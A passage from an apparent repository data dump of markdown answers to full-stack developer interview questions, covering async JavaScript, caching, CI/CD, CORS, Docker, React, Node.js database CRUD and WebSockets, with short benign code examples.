    "content": "JavaScript handles asynchronous operations, like fetching data from an API or reading files, through different paradigms: **callbacks**, **promises**, and **async/await**. Each offers unique advantages and challenges. Here's a detailed look:\n\n##### 1\\. Callbacks\n\n**What it is**:  \nA callback is a function passed as an argument to another function to be executed later, usually after an asynchronous task completes.\n\n**Example**:\n\n```javascript\nfs.readFile('file.txt', (err, data) => {\n  if (err) {\n    console.error('Error reading file:', err);\n    return;\n  }\n  console.log('File content:', data.toString());\n});\n```\n\n**Challenges**:\n\n**Callback Hell**: As tasks become more complex, nesting callbacks leads to hard-to-read and maintainable code.\n\n```javascript\ndoTask1(() => {\n  doTask2(() => {\n    doTask3(() => {\n      console.log('All tasks done!');\n    });\n  });\n});\n```\n\n##### 2\\. Promises\n\n**What it is**:  \nA promise represents a value that may be available now, in the future, or never usually coming as a result of an asynchronous operation. It provides a cleaner way to handle asynchronous operations, chaining actions with `.then()` and catching errors with `.catch()`.\n\n**Example**:\n\n```javascript\nfetch('https://api.example.com/data')\n  .then((response) => response.json())\n  .then((data) => {\n    console.log('Fetched data:', data);\n  })\n  .catch((error) => {\n    console.error('Error fetching data:', error);\n  });\n```\n\n**Advantages**:\n\n- Eliminates deeply nested callbacks.\n- Provides a clearer structure for handling asynchronous workflows.\n\n##### 3\\. Async/Await\n\n**What it is**:  \nAsync/await is built on promises but provides a more synchronous and readable syntax for managing this type of code.\n\nFunctions declared with `async` automatically return a promise, and the `await` keyword pauses execution until a promise resolves.\n\n**Example**:\n\n```javascript\nconst fetchData = async () => {\n  try {\n    const response = await fetch('https://api.example.com/data');\n    const data = await response.json();\n    console.log('Fetched data:', data);\n  } catch (error) {\n    console.error('Error fetching data:', error);\n  }\n};\n\nfetchData();\n```\n\n**Advantages**:\n\n- Reads like synchronous code, making it easier to understand.\n- Simplifies error handling with `try/catch` blocks.\n"
  },
  {
    "path": "src/data/question-groups/full-stack/content/backend-caching.md",
    "content": "1. **In-Memory Cache**: Use tools like Redis or Memcached for quick access to frequently used data. Common use case is caching results of expensive database queries.\n\n2. **HTTP Caching**: Leverage `Cache-Control` headers for client-side and proxy caching.\n\n3. **Application-Level Caching**: Store calculated values or frequently used objects in memory using libraries like `express-cache` or decorators.\n\n4. **Distributed Caching**: In distributed systems, use a shared cache (e.g., Redis) to ensure consistency across instances.\n\n5. **Cache Invalidation**: Use strategies like time-to-live (TTL) or event-driven invalidation to keep the cache up-to-date.\n\n6. **Testing**: Monitor cache hit rates and ensure no stale data is served.\n\n**Browser Caching**: While not strictly server-side, take advantage of browser caching to store static resources client-side, reducing backend requests. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/build-tools.md",
    "content": "Build tools bundle, optimize, and prepare your code for deployment.\n\n**Key Functions**:  \n* Bundle JavaScript, CSS, and other assets.  \n* Minify and optimize files for faster loading.  \n* Enable features like hot module replacement (during development).  \n* Handle modern JavaScript (transpile ES6+ to older versions). "
  },
  {
    "path": "src/data/question-groups/full-stack/content/cicd-pipelines.md",
    "content": "**CI/CD Pipelines** automate the build, test, and deployment of any project. These pipelines are a critical part of any successful development process.\n\n##### Continuous Integration (CI):\nIn this step you automatically build and test the code whenever changes are pushed to a repository. The usual tools for the job are Jenkins, GitHub Actions, CircleCI and other similar alternatives.\n\n##### Continuous Delivery (CD):\nDuring this phase, the actual deployment of the product is automated, so that once the code is verified in the CI stage, it can automatically be promoted into the right environment.\n\n##### Steps in a Pipeline:\nThe steps involved in the full process are:\n\nPull code → Build app → Run tests → Deploy artifact → Notify team\n\nAnd all of them are done automatically one after the other, breaking the chain if there is a failure in one of them.\n\n##### Most common tools used:\n1. **Jenkins**: Highly customizable for complex workflows.  \n2. **GitHub Actions**: Easy integration with GitHub repositories.  \n3. **Docker**: For containerized builds.  \n4. **ArgoCD** or **Spinnaker**: For Kubernetes deployments. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/client-server-programming.md",
    "content": "The **client-side** and **server-side** refer to two distinct parts of a **web application** that work together to deliver functionality to users. Understanding their roles is essential for building efficient and responsive applications.\n\n##### Client-Side\n* **What it Does**: This is the part of the application that runs in the user’s browser. It handles **user interfaces** and interactions, allowing users to see and interact with the application.  \n* **Key Characteristics**:  \n  * Executes **JavaScript code** directly in the browser to handle tasks like form validation, animations, and dynamic content updates (through DOM \\-Document Object Model- updates).  \n  * Manages rendering of HTML and CSS for a seamless visual experience.  \n  * Often communicates with the server via **REST (Representational State Transfer)** APIs to fetch or send data asynchronously.  \n* **Examples**:  \n  * Clicking a button that triggers a JavaScript function to show a popup.  \n  * Fetching additional items on a page using `fetch()` or `axios` without a full page reload.  \n\n##### Server-Side\n\n* **What it Does**: This part operates on the server and processes requests from the client, performing tasks like database queries, business logic, and serving responses.  \n* **Key Characteristics**:  \n  * Executes server-side programming languages like Python, Java, or Node.js.  \n  * Handles sensitive operations like authentication and data storage securely.  \n  * Sends data to the client in structured formats (e.g., JSON) via **REST APIs** for rendering.  \n* **Examples**:  \n  * Processing a login request by verifying credentials in a database.  \n  * Returning a list of products in JSON format for the client to display dynamically.\n"
  },
  {
    "path": "src/data/question-groups/full-stack/content/cloud-deployment.md",
    "content": "A full-stack application includes one or more web pages, a backend (which usually involve microservices) and some sort of storage engine (i.e a database).  \nTo deploy all of that together, you have to:\n\n1. **Prepare the Application**: Build the frontend (e.g., using `npm run build`). Ensure the back-end is production-ready (e.g., environment variables, database setup).  \n2. **Deploy Frontend**: Push the code into the servers, usually something like AWS S3, GCP Cloud Storage, or Firebase Hosting to host static files. Configure a CDN (e.g., CloudFront) if needed for static content.  \n3. **Deploy Back-End**: Use cloud services like AWS EC2, GCP Compute Engine, or a managed platform like AWS Elastic Beanstalk. Set up environment variables and connect to the database (e.g., RDS, Cloud SQL).  \n4. **Database**: Use a managed database service (e.g., RDS, Firestore) for scalability, or deploy an on-prem database on your server.  \n5. **DNS and SSL**: Configure a custom domain and HTTPS using AWS Route 53, GCP Domains, or another provider. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/code-splitting.md",
    "content": "**Code splitting** breaks a large application into smaller bundles that are loaded only when needed.\n\n**Benefits**:\n* Reduces initial load time by loading only essential code and downloading the rest when needed.\n* Improves performance for slower networks by allowing webapp use much sooner.\n\n**Example using React's `lazy` and `Suspense`**:\n```javascript\nconst LazyComponent = React.lazy(() => import('./Component'));\n\nfunction App() {\n  return (\n    <Suspense fallback={<div>Loading...</div>}>\n      <LazyComponent />\n    </Suspense>\n  );\n}\n``` "
  },
  {
    "path": "src/data/question-groups/full-stack/content/common-challenges.md",
    "content": "1. **Challenge**: Managing State Across Frontend and Backend.  \n   * **Solution**: Use global state management tools (e.g., Redux, Zustand) and APIs with clear data contracts.  \n\n2. **Challenge**: Scalability Issues.  \n   * **Solution**: Optimize database queries, implement caching, and use scalable cloud infrastructure.  \n\n3. **Challenge**: Security Concerns.  \n   * **Solution**: Implement secure authentication (e.g., OAuth2), sanitize inputs, and follow OWASP guidelines.  \n\n4. **Challenge**: Maintain a consistent quality level across the entire codebase (both frontend and backend code).  \n   * **Solution**: Implement a robust testing strategy that includes: unit testing, integration testing, end-to-end testing, and regular code reviews.  \n\n5. **Challenge**: Keeping Up with Technology Updates.  \n   * **Solution**: Adopt modular architecture to replace outdated tech incrementally.  \n\n6. **Challenge**: Debugging Complex Interactions Between Frontend and Backend.  \n   * **Solution**: Use end-to-end testing frameworks (e.g., Cypress) and logging tools for tracing issues. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/cors-handling.md",
    "content": "**CORS** (Cross-Origin Resource Sharing) controls access to resources from a different origin (domain, protocol, or port).\n\n**Handling CORS**:\n\n**Backend**: Set headers to allow specific origins.  \nExample in Express:  \n```javascript\nconst cors = require('cors');\napp.use(cors({ origin: 'https://example.com' }));\n```\n\n**Frontend**: Proxy API requests to avoid CORS issues during development. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/css-selectors.md",
    "content": "**CSS selectors** are patterns used to select and style specific elements in an HTML document. They define which elements a set of CSS rules should apply to, making them a fundamental part of designing the appearance of **web applications** and **user interfaces**.\n\n##### Why CSS Selectors Matter\n\nSelectors allow you to target elements precisely, enabling you to control layout, colors, fonts, and other visual aspects of your website. They are essential for creating structured and maintainable CSS code.\n\nThere are different types of selectors, categorized based on what they target:\n\n* **Elements:** these selectors reference a specific type of element, and affect all instances of that element throughout the page. Example: `p {}`  \n* **Classes:** These selectors only affect those elements that hava a matching class. They’re great to target large groups of elements of the same type, without affecting the entire set. Example: `.my-class {}`  \n* **ID:** ID-level selectors affect only one element (as IDs can only be used on a single element). They’re great when you have a single element that breaks the pattern from the rest of the group. Example: `#my-id {}`  \n* **Attribute:** Attribute-level selectors target elements based on the value of their attributes. They’re great for the cases where you have to dynamically highlight elements. Example: `[type=\"text\"] {}`  \n* **Descendant:** Another way to target other elements is to target them based on the parent element. This method works with any combination of the above, so you can potentially target elements using a specific class that are descendants of an element with a specific attribute value (or any other combination you can think of). Example: `div p {}`\n\n##### When to Use Selectors\n\n* Use type selectors for global styling.  \n* Use class selectors for reusable styles across multiple elements.  \n* Use ID selectors sparingly for unique elements.  \n* Combine selectors for granular control and better maintainability.\n\nCSS selectors give you the power to control every aspect of your web application’s design, ensuring that your user interfaces are consistent, visually appealing, and responsive"
  },
  {
    "path": "src/data/question-groups/full-stack/content/database-migrations.md",
    "content": "1. **Version Control**: Track migrations using tools like Flyway, Liquibase, or Sequelize.\n\n2. **Create Safe Migration Scripts**:  \n   * Avoid destructive changes like dropping columns immediately\n   * Break migrations into additive steps:\n     - Add new columns\n     - Backfill data\n     - Remove old columns later\n\n3. **Testing**:  \n   * Test migrations in a staging environment with a copy of production data\n\n4. **Rollback Plans**:  \n   * Write scripts to revert migrations in case of failure\n\n5. **Zero-Downtime Deployment**:  \n   * Use techniques like dual writes and feature flags to ensure smooth transitions "
  },
  {
    "path": "src/data/question-groups/full-stack/content/database-relationships.md",
    "content": "1. **One-to-Many**: One record in a table relates to multiple records in another. Handled via foreign keys. Example: A `user` has many `posts`.  \n2. **Many-to-Many**: Requires a join table to link records from two tables. Example: `students` and `courses` with an intermediary `enrollments` table.  \n3. **Primary/Foreign Keys**: Establish links between tables for querying and ensuring data consistency."
  },
  {
    "path": "src/data/question-groups/full-stack/content/div-span-purpose.md",
    "content": "* **`<div>`**: This is a block-level element that groups other block-level elements (layout or sections) together. It’s quite useful for layout definition.  \n* **`<span>`**: This inline element is great for grouping together other inline elements, such as text nodes. Because the \\<span \\> has no structural impact on the content when used, it’s perfect for styling text (or even sections of a larger text) without visually affecting it (other than the actual CSS applied)."
  },
  {
    "path": "src/data/question-groups/full-stack/content/docker-role.md",
    "content": "Docker containerizes applications and their dependencies, ensuring they run consistently across environments.\n\n**In Development**:  \n* Provides isolated environments (e.g., for different projects).  \n* Simplifies onboarding (e.g., no need to manually install dependencies).  \n\n**In Deployment**:  \n* Ensures consistent environments between dev and production.  \n* Integrates with orchestration tools (e.g., Kubernetes) for scalability.\n\nExample Dockerfile:  \n```dockerfile\nFROM node:14\nWORKDIR /app\nCOPY . .\nRUN npm install\nCMD [\"npm\", \"start\"]\n``` "
  },
  {
    "path": "src/data/question-groups/full-stack/content/environment-variables.md",
    "content": "Environment variables store configuration values (e.g., API keys, database URLs) outside the codebase. This is important for two main reasons:\n\n1. **Security**. By extracting these values (which tend to be private) from the codebase, you avoid potential code leaks from becoming a bigger security problem.  \n2. **More flexible deployments**. If these values need to change, by having them as environment variables you don’t need to re-deploy your code, you just need to reload those values (either by restarting the app, or hot reloading the values from a file).\n\nFor the actual implementation, one might use something like the `dotenv` module, which loads environment variables from a .env file in the local folder of the project, or interact with a secret manager, such as **AWS Secret Manager** which stores these values externally in a secure storage."
  },
  {
    "path": "src/data/question-groups/full-stack/content/event-driven-architecture.md",
    "content": "**Event-Driven Architecture**: A design pattern where services communicate by emitting and responding to events asynchronously.\n\n**Key Components**:\n* **Event Producer**: Generates events (e.g., a user uploads a file).  \n* **Event Consumer**: Listens and reacts to events (e.g., a service processes the uploaded file).  \n* **Message Broker**: Facilitates event delivery (e.g., Kafka, RabbitMQ).\n\n**When to Use**:\n* Applications needing real-time updates (e.g., chat apps, stock trading platforms).  \n* Decoupled microservices to enhance scalability and maintainability.  \n* Workflows with asynchronous tasks (e.g., order processing). "
  },
  {
    "path": "src/data/question-groups/full-stack/content/flexbox-vs-grid.md",
    "content": "**Flexbox**: Designed for one-dimensional layouts (row or column). Best for aligning items within a container. Example use cases: Navigation bars or centering elements.\n\n**CSS Grid**: Designed for two-dimensional layouts (rows and columns). Best for creating complex grid-based layouts. Example use cases: Full-page layouts or dashboards."
  },
  {
    "path": "src/data/question-groups/full-stack/content/full-stack-debugging.md",
    "content": "1. **Reproduce the Issue**: Identify when and where it happens.  \n2. **Frontend Debugging**:  \n   * Use browser DevTools to inspect network requests (e.g., check HTTP status codes, payloads).  \n   * Check console errors for clues.  \n3. **Back-End Debugging**:  \n   * Check server logs for errors or trace logs for the request.  \n   * Add breakpoints or use a debugger (e.g., Node.js Inspector).  \n4. **Communication Point**: Verify API endpoints, payload structure, and data format.  \n5. **End-to-End Testing**: Test the workflow with tools like Postman to isolate the layer causing issues. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/full-stack-development.md",
    "content": "**Full-stack development** refers to the practice of building and maintaining both the **frontend** and **backend** of a **web application** or **web service**. A full-stack developer works across all layers of the application, ensuring seamless functionality from the user interface to the server and database.\n\nKey aspects of full-stack development include:\n\n* **Frontend Development**: Involves creating the parts of the application that users interact with directly, such as buttons, forms, and layouts. Tools and technologies often used include **HTML**, **CSS**, **JavaScript**, and frameworks like React, Angular, or Vue.js. This may also include building **Progressive Web Apps (PWAs)** for enhanced user experiences.  \n* **Backend Development**: Focuses on server-side logic, databases, and APIs that power the frontend. Common programming languages for backend development include **Python**, **Java**, **Node.js**, and **PHP**. Developers often design and integrate **web services** or REST/GraphQL APIs for data handling.  \n* **Databases and Storage**: Managing data through relational databases (e.g., MySQL, PostgreSQL) or non-relational databases (e.g., MongoDB, Redis).  \n* **DevOps and Deployment**: Setting up hosting environments, CI/CD pipelines, and handling cloud services to deploy and maintain applications.\n\nFull-stack developers are valued for their versatility and ability to understand how different components of a web application interact, making them crucial for delivering well-rounded, functional products."
  },
  {
    "path": "src/data/question-groups/full-stack/content/full-stack-end.md",
    "content": "## Final thoughts\n\nYou’ve reached the end of our full-stack developer interview questions, but you’re not done just yet\\!\n\nTo make sure you’re ready to knock the interview out of the park, here’s a quick roadmap for success:\n\n* **Dive deeper**: Explore our detailed guides for specific roles, including [**frontend**](https://roadmap.sh/questions/frontend), [**backend**](https://roadmap.sh/questions/backend), and [**DevOps**](https://roadmap.sh/questions/devops) interviews. Each guide is packed with questions, answers, and tips tailored to those specialities.  \n* **Check out official docs**: For a detailed explanation of every function, method, or property of HTML, CSS or JavaScript, consider checking out [MDN](https://developer.mozilla.org/en-US/).  \n* **Practice projects**: Build small projects to solidify your understanding of key concepts. Hands-on experience always makes a big difference.  \n* **Brush up on fundamentals**: Review core concepts like algorithms, data structures, and design patterns to handle technical full-stack developer interview questions confidently.  \n* **Mock interviews**: Simulate the interview experience with a friend or use online platforms to build your confidence.  \n* **Stay curious**: Explore new tools and technologies related to your role to showcase your passion for learning.\n\nGood luck, and remember—confidence comes with preparation\\!"
  },
  {
    "path": "src/data/question-groups/full-stack/content/get-post-difference.md",
    "content": "While there is no hard rule stating these methods needs to be used in a very specific way, the currently accepted standard, says that:\n\n* **GET**: Retrieves data from a server (read-only).  \n* **POST**: Sends data to the server to create or update resources.\n\n"
  },
  {
    "path": "src/data/question-groups/full-stack/content/graphql-vs-rest.md",
    "content": "GraphQL is a query language for APIs that allows clients to request exactly the data they need, reducing over-fetching or under-fetching.\n\n##### Main differences with REST:\n\n**Data Fetching**:\n* REST: Fixed endpoints return predefined data\n* GraphQL: Single endpoint with flexible queries\n\n**Batching**:\n* GraphQL can fetch related data in one request (nested queries)\n* REST often requires multiple endpoints for related data\n\n**Versioning**:\n* REST may need new versions for API changes\n* GraphQL avoids versioning by evolving schemas\n\n**Example GraphQL Query**:\n```graphql\nquery {\n  user(id: 1) {\n    name\n    posts {\n      title\n    }\n  }\n}\n``` "
  },
  {
    "path": "src/data/question-groups/full-stack/content/high-availability.md",
    "content": "**High Availability**:\n* Use load balancers to distribute traffic across multiple servers\n* Set up redundancy with failover systems and multiple availability zones\n* Use managed databases with replicas for disaster recovery\n\n**Scalability**:\n* Implement horizontal scaling by adding more instances\n* Use auto-scaling services like AWS Auto Scaling or Kubernetes\n* Cache frequently accessed data (e.g., using Redis or Memcached)\n\n**Other Best Practices**:\n* Optimize database queries and use indexing\n* Implement rate limiting and throttling to handle surges "
  },
  {
    "path": "src/data/question-groups/full-stack/content/html-css-js-purpose.md",
    "content": "* **HTML**: Defines the structure and content of a webpage.  \n* **CSS**: Styles the webpage (colors, layout, fonts).  \n* **JavaScript**: Adds interactivity and dynamic behavior to the webpage."
  },
  {
    "path": "src/data/question-groups/full-stack/content/include-css.md",
    "content": "There are two main ways to include CSS into your HTML, you can either do it “inline” or you can do it with the “style” tag.\n\n**Inline**: Add `style` directly in an HTML element.\n\n```html\n<p style=\"color: red;\">Hello</p>\n```\n\n**Internal**: Use a `<style>` tag in the `<head>`.\n\n```html\n<style>\np { color: red; }\n</style>\n```\n\n**External**: Link a CSS file using `<link>` in the `<head>`.\n\n```html\n<link rel=\"stylesheet\" href=\"styles.css\">\n```\n"
  },
  {
    "path": "src/data/question-groups/full-stack/content/internationalization.md",
    "content": "**Frontend**: Use libraries like `react-intl` or `i18next` to manage translations.\n\nExample:  \n```javascript\nimport { useTranslation } from 'react-i18next';\nconst { t } = useTranslation();\n<h1>{t('welcome_message')}</h1>;\n```\n\n**Backend**:\n1. Store translations in a database or JSON files.  \n2. Serve the correct language file based on user preferences or `Accept-Language` headers.\n\n**Additional Considerations**:\n* Support language-specific routes (e.g., `/en/home`, `/fr/home`)\n* Translate content dynamically from the database or CMS\n* Provide fallback languages if a translation is unavailable\n* Test language switches and correct text alignment for RTL languages like Arabic "
  },
  {
    "path": "src/data/question-groups/full-stack/content/js-dom-manipulation.md",
    "content": "JavaScript accesses and modifies the DOM using methods like:\n\n* **Get elements**: `document.getElementById(\"id\")`, `querySelector(\".class\")`.  \n* **Modify content**: `element.innerHTML = \"New Content\"`.  \n* **Change styles**: `element.style.color = \"blue\"`.  \n* **Add/remove elements**: `appendChild()`, `removeChild()`."
  },
  {
    "path": "src/data/question-groups/full-stack/content/js-equality-operators.md",
    "content": "* **`==`**: Compares values with each other directly, performing type conversion if required first (example: `'5' == 5` → `true`).  \n* **`===`**: This operator strictly compares values and types with each other. There is no type conversion performed with this operator. For example, if you try to compare a string and a number, the result will always be false, no matter what: `'5' === 5` → `false`."
  },
  {
    "path": "src/data/question-groups/full-stack/content/memory-leaks.md",
    "content": "Memory leaks usually happen when unused resources (e.g., DOM elements, event listeners, or data structures) are not properly released, causing unnecessary memory consumption.   \n\n**Common Solutions**:\n\n1. **Clean up event listeners**: Remove listeners when components unmount:\n```javascript\nuseEffect(() => {\n  window.addEventListener('resize', handler);\n  return () => window.removeEventListener('resize', handler);\n}, []);\n```\n\n2. **Abort fetch requests**: Use `AbortController` to cancel pending API calls:\n```javascript\nconst controller = new AbortController();\nfetch(url, { signal: controller.signal });\nreturn () => controller.abort();\n```\n\n3. **Avoid stale references**: Ensure state updates do not persist after unmounting by checking component state.\n\n4. **Use profiling tools**: Monitor and analyze memory usage using browser DevTools to detect leaks. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/microservices.md",
    "content": "1. **Decompose the Application**: Identify distinct business domains and split functionality into small, loosely coupled services.\n\n2. **Service Communication**: \n   * Use APIs (REST or GraphQL) for synchronous communication\n   * Use messaging systems (e.g., RabbitMQ, Kafka) for asynchronous communication\n\n3. **Independent Data Stores**: Each service manages its own database to ensure independence.\n\n4. **Service Discovery**: Use a registry like Consul or Eureka to manage service locations dynamically.\n\n5. **Deployment**: \n   * Containerize services with Docker\n   * Orchestrate using Kubernetes\n\n6. **Monitoring**: Use tools like Prometheus, Grafana, or ELK Stack for observability and debugging. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/mvc-architecture.md",
    "content": "**MVC** is a design pattern for organizing code in three layers:\n\n1. **Model**: Handles data and business logic (e.g., database interactions).  \n2. **View**: Displays data to users (e.g., HTML, templates).  \n3. **Controller**: Manages user input and communicates between Model and View.\n\n**Flow**:\n* User interacts with the **View** → **Controller** processes input → Updates the **Model** → Changes are reflected in the **View**. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/nodejs-database-crud.md",
    "content": "In general terms, connecting to a database using Node.js requires the following steps:\n\n1. Install the DB driver.  \n2. Use the driver to connect to the database.  \n3. Use the returned connection object to send requests.\n\nOf course, depending on the database engine you decide to go with, there might be some slight changes to those steps.  \nHowever, if we think about either MongoDB or PostgreDB, let’s take a look at how to interact with them through Node.js:\n\n##### Install the Database Driver\n\nThe first thing you gotta do, is install either the driver which will let you directly interact with the database, or an ORM, which will abstract that connection and give you a higher-level layer of abstraction.   \nUse the appropriate driver for your database.\n\n* For MongoDB: `npm install mongoose`  \n* For PostgreSQL: `npm install pg`\n\n##### Connect to the database\n\nNow to connect to the actual database, you’ll have to adapt the code based on the connection method you’re using. Let’s take a closer look at how to connect either to MongoDB or PostgreDB.\n\n**MongoDB**:  \n\n```javascript\nconst mongoose = require('mongoose');\nmongoose.connect('mongodb://localhost:27017/mydb', { useNewUrlParser: true, useUnifiedTopology: true });\n```\n\n**PostgreSQL**:  \n\n```javascript\nconst { Pool } = require('pg');\nconst pool = new Pool({ user: 'user', host: 'localhost', database: 'mydb', password: 'password', port: 5432 });\n```\n\n##### Perform CRUD Operations\n\nFor the CRUD (Create, Read, Update & Delete), the code is going to change based on the technology you’re using. Here in our examples, we have one that’s using an ORM which means we have an abstraction layer on top of the native query language, and then we also have a simple SQL driver, which means we have to directly write SQL queries.\n\n**Create operation**:\n\n**MongoDB**:  \n\n```javascript\nconst User = mongoose.model('User', { name: String });\nUser.create({ name: 'John Doe' });\n```\n\n**PostgreSQL**:  \n\n```javascript\npool.query('INSERT INTO users (name) VALUES ($1)', ['John Doe']);\n```\n\n**Read operation**:\n\n**MongoDB**:  \n\n```javascript\nUser.find({}, (err, users) => console.log(users));\n```\n\n**PostgreSQL**:  \n\n```javascript\npool.query('SELECT * FROM users', (err, res) => console.log(res.rows));\n```\n\n**Update operation**:\n\n**MongoDB**:  \n\n```javascript\nUser.updateOne({ name: 'John Doe' }, { name: 'Jane Doe' });\n```\n\n**PostgreSQL**:  \n\n```javascript\npool.query('UPDATE users SET name = $1 WHERE name = $2', ['Jane Doe', 'John Doe']);\n```\n\n**Delete operation**:\n\n**MongoDB**:  \n\n```javascript\nUser.deleteOne({ name: 'Jane Doe' });\n```\n\n**PostgreSQL**:  \n\n```javascript\npool.query('DELETE FROM users WHERE name = $1', ['Jane Doe']);\n```\n"
  },
  {
    "path": "src/data/question-groups/full-stack/content/nodejs-middleware.md",
    "content": "Middleware in Express is a function that processes requests and responses in the app’s request-response cycle. It can be used to modify request/response objects adding extra information or removing unnecessary data, it can execute code (like logging, parsing JSON, etc) and it can also end the request-response cycle, allowing it to short-circuit the process and return a different response (commonly used to handle invalid or unauthorized requests).\n\nExample:  \n```javascript\napp.use((req, res, next) => {\n  console.log('Middleware triggered');\n  next();\n});\n```"
  },
  {
    "path": "src/data/question-groups/full-stack/content/package-json-purpose.md",
    "content": "The `package.json` file in a Node.js project has multiple uses. It defines the project's metadata, like its name, version, and description. It also lists the dependencies and devDependencies required to run or develop the application, as well as scripts for tasks like building, testing, or running the app (and any custom script you’d like to add). \n\nFinally, it ensures reproducible installations by allowing the `npm install` command to pull consistent dependencies, ensuring you can easily port your project into other systems."
  },
  {
    "path": "src/data/question-groups/full-stack/content/performance-monitoring.md",
    "content": "As a full-stack developer, the monitoring of your application involves the full 360 view of the app, from the frontend into the backend, including the database, and other involved systems.\n\n##### Frontend Monitoring:\n* Use tools like Google Lighthouse or Web Vitals to track load times, interactivity, and rendering.\n* Monitor user behavior with tools like New Relic Browser or LogRocket.\n\n##### Backend Monitoring:\n* Use APM tools (e.g., Datadog, Dynatrace) to monitor server response times, database query performance, and API latency.\n\n##### Logging:\n* Centralize logs with tools like ELK Stack or CloudWatch Logs for analyzing bottlenecks.\n* Critical for systems with many individual microservices and different clients working together.\n\n##### Database Monitoring:\n* Use query profilers (e.g., MySQL EXPLAIN) and monitor database health with tools like Percona Monitoring.\n\n##### Alerting:\n* Set up alerts for anomalies or thresholds using tools like Prometheus and Grafana. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/postman-testing.md",
    "content": "1. **Create a Request**: Enter the API endpoint, method (GET, POST, etc.), and headers.  \n2. **Send Data**:  \n   * Add query params, body (JSON, form data), or headers.  \n3. **Send Request**: Click \"Send\" to view the response.\n\n**Assertions**: Use the **Tests** tab to write scripts (JavaScript) for automated validation of responses.  \nExample:  \n```javascript\npm.test(\"Status is 200\", () => {\n  pm.response.to.have.status(200);\n});\n```\n\n4. **Collections**: Group requests for testing workflows or environments. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/react-hooks.md",
    "content": "React hooks are functions that let you use state and other React features in functional components.\n\nWith hooks you can simplify state and lifecycle management without needing class components. They also enable code reuse through custom hooks.\n\n**Examples of different hooks**:\n\n* `useState` for managing state.  \n* `useEffect` for handling side effects (e.g., fetching data).  \n* `useContext` for global state."
  },
  {
    "path": "src/data/question-groups/full-stack/content/react-performance.md",
    "content": "The performance of a React application can be affected by multiple aspects, but some of the most common ones and their way to fix them are:\n\n1. **Reduce Re-renders**:  \n   * Use `React.memo` and `useCallback` to avoid unnecessary updates.  \n   * Split large components into smaller, focused components.  \n2. **Lazy Loading**: Load components or routes on demand using `React.lazy` and `Suspense`.  \n3. **Efficient State Management**: Keep state local where possible and avoid overusing global state.  \n4. **Minimize DOM Updates**: Use keys in lists and avoid deeply nested props/state updates.  \n5. **Code Splitting**: Use Webpack or tools like `react-loadable` to split the bundle.  \n6. **Profile and Debug**: Use React Developer Tools to identify bottlenecks."
  },
  {
    "path": "src/data/question-groups/full-stack/content/react-seo.md",
    "content": "1. **Server-Side Rendering (SSR)**: Use frameworks like Next.js to render pages on the server for better crawlability.  \n2. **Meta Tags**: Dynamically set titles, descriptions, and keywords using libraries like `react-helmet`.  \n3. **Sitemap and Robots.txt**: Generate a sitemap.xml and configure robots.txt for search engines.  \n4. **Lazy Loading**: Ensure above-the-fold content loads quickly.  \n5. **Structured Data**: Add JSON-LD for rich search results.  \n6. **Canonical URLs**: Avoid duplicate content issues with proper canonical tags. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/react-ssr.md",
    "content": "The easiest way is to use a framework like **Next.js** for built-in SSR support.\n\n**Steps involved**:\n\n1. Set up pages with `getServerSideProps` to fetch data at request time:  \n```javascript\nexport async function getServerSideProps() {\n  const data = await fetch('https://api.example.com');\n  return { props: { data } };\n}\n```\n\n2. Render the page server-side and send it as HTML to the client.  \n3. Hydrate the page on the client to make it interactive. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/react-state-management.md",
    "content": "In React you have two different ways to handle state, depending on the scope of the data inside that state. \n\nIf the scope is local, then you can handle it through a simple `useState` hook inside the component itself. \n\nIf on the other hand, you need to store a global state which is accessible for many components, then you can use something like the `Context API` or specific state libraries like Redux, MobX or Zustand.\n\nThe way state handling works in React (in general terms) works like this:\n\n* State is updated via actions (e.g., event handlers).  \n* Updated state triggers re-renders to reflect changes in the UI.  \n* Avoid excessive re-renders by optimizing context or using memoization (`React.memo`, `useMemo`)."
  },
  {
    "path": "src/data/question-groups/full-stack/content/real-time-updates.md",
    "content": "1. **Use WebSockets**: Establish a persistent connection for real-time communication.\n\nExample Client:  \n```javascript\nconst socket = new WebSocket('ws://server.com');\nsocket.onmessage = (message) => console.log(message.data);\n```\n\n2. **Server Setup**: Use libraries like `socket.io` for WebSocket management.\n\nExample Server:  \n```javascript\nconst io = require('socket.io')(server);\nio.on('connection', (socket) => {\n  socket.on('chat message', (msg) => io.emit('chat message', msg));\n});\n```\n\n3. **Fallback for Compatibility**: Implement long polling or server-sent events (SSE) if WebSockets aren't feasible.  \n4. **Database Integration**: Use event-driven solutions like Redis pub/sub for scalability in multi-server setups.  \n5. **Security**: Ensure secure WebSocket connections (wss://) and authenticate users. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/relational-vs-nosql.md",
    "content": "* **Relational**: Stores data in structured tables with rows and columns (e.g., MySQL, PostgreSQL). Good for relationships and complex queries.  \n* **Non-relational**: Stores data in flexible formats like documents, key-value pairs, or graphs (e.g., MongoDB, Redis). Better for unstructured or hierarchical data."
  },
  {
    "path": "src/data/question-groups/full-stack/content/responsive-design.md",
    "content": "**Responsive design** ensures a website looks good on all devices by adapting its layout to different screen sizes.\n\nTo help ensure this, you can use flexible grids (either `CSS Grid` or `Flexbox`).\n\nYou will also have to apply media queries which help set breakpoints where the different styles need to be applied based on the width of the window:  \n\n```css\n@media (max-width: 768px) {\n  .container { flex-direction: column; }\n}\n```\n\nYou can also use relative units (`%`, `em`, `rem`) instead of fixed units (`px`) to ensure the values automatically adapt to the size of the container."
  },
  {
    "path": "src/data/question-groups/full-stack/content/rest-api.md",
